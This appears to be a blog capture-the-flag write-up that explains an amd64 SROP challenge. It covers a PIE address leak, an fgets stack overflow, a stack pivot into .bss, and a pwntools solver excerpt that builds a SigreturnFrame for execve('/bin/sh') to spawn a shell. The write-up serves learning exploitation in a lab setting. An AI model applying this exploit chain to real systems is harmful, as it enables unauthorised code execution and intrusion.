Taz
⌘Ctrl K

Signals & Syscalls

5959595959

2 min read

Contents
  1. Overview
  2. Vulnerability analysis
    1. PIE leak
    2. Stack overflow
    3. Why SROP works here
  3. Exploitation strategy (matches solve.py)
    1. Step 1 — Parse the leak and compute addresses
    2. Step 2 — Stage-1 overflow: pivot into .bss and re-enter vuln
    3. Step 3 — Stage-2 write into .bss: build SROP chain
  4. Result

Overview

This is a classic amd64 SROP (Sigreturn-Oriented Programming) challenge.

The binary:

  • leaks a code pointer (PIE base)
  • has a large fgets() overflow into a small stack buffer
  • contains a syscall instruction

The solver uses a two-stage overflow:

  1. pivot rbp into .bss and re-enter vuln() so that the next fgets() writes into .bss
  2. place a fake SigreturnFrame in .bss, set rax=15, and jump to syscall to trigger sigreturn, then do execve("/bin/sh",0,0)

Vulnerability analysis

PIE leak

vuln() prints the address of itself:

printf("I have %li things to do!\n", &vuln);

That value lets us compute the PIE base by subtracting the known symbol offset of vuln.

Stack overflow

buf is 0x20 bytes, but fgets() reads up to 0x200 bytes:

char buf[0x20];
fgets(buf, 0x200, stdin);

So we can smash:

  • the local i value (unsigned long int i)
  • saved rbp
  • saved rip

Why SROP works here

There’s a syscall instruction available (via callme() or a gadget), and there’s no stack canary (-fno-stack-protector).

If we can reach a syscall with rax = 15, the kernel treats it as rt_sigreturn and loads register state from a frame at rsp.

Exploitation strategy (matches solve.py)

Step 1 — Parse the leak and compute addresses

Solver excerpt:

p.recvuntil(b"have ")
e.address = int(p.recvuntil(b" ")[:-1]) - e.sym.vuln
bss = e.address + 0x4700
syscall = e.address + 0x116d

This sets:

  • e.address = PIE base
  • bss = a writable pivot area
  • syscall = gadget/function containing syscall

Step 2 — Stage-1 overflow: pivot into .bss and re-enter vuln

Key idea: vuln() uses rbp-relative addressing for locals. If we return to a point inside vuln() after the prologue, with a controlled rbp, the next fgets() will write to rbp-0x20 (our chosen area in .bss).

Solver excerpt:

payload = (
	b"a"*40
	+ p64(0) + p64(0)
	+ p64(poprbp) + p64(bss)
	+ p64(e.sym.vuln + 46)
)
p.sendline(payload)

What this accomplishes:

  • overflow reaches the return chain
  • pop rbp; ret sets rbp = bss
  • returning into vuln+46 reaches the fgets() path again, but now the “stack frame” lives in .bss

Step 3 — Stage-2 write into .bss: build SROP chain

We want:

  • rax = 15 right before executing syscall (to trigger sigreturn)
  • a SigreturnFrame laid out at rsp after the return

The solver crafts the .bss content like this:

frame = SigreturnFrame()
frame.rax = 59            # execve
frame.rdi = bss - 0x30    # "/bin/sh" address
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall

payload_bss  = b"/bin/sh\x00"
payload_bss += b"a"*0x20
payload_bss += p64(15)        # i => returned in rax
payload_bss += p64(0)         # saved rbp
payload_bss += p64(syscall)   # saved rip: execute syscall with rax=15
payload_bss += bytes(frame)   # sigreturn frame consumed by kernel

p.sendline(payload_bss)

Why the p64(15) matters:

  • vuln() ends with return i;
  • on amd64, return value is in rax
  • so we arrange i = 15, making rax=15 when we immediately ret into the syscall gadget
  • syscall with rax=15 triggers sigreturn, loading our frame and then doing syscall again as execve

Result

After the sigreturn, registers are set for execve("/bin/sh", NULL, NULL) and the exploit drops to an interactive shell.

Esc

    ↓ results · Enter open · Esc close

    Keys

    jk
    Next and previous row
    ↓↑
    The same, once a row has focus
    Enter
    Open the row
    1234
    Home, Projects, Journal, About
    /
    Search
    CtrlK
    Search, from anywhere (⌘ K on a Mac)
    ?
    This list
    Esc
    Close a layer
    gg
    Back to the top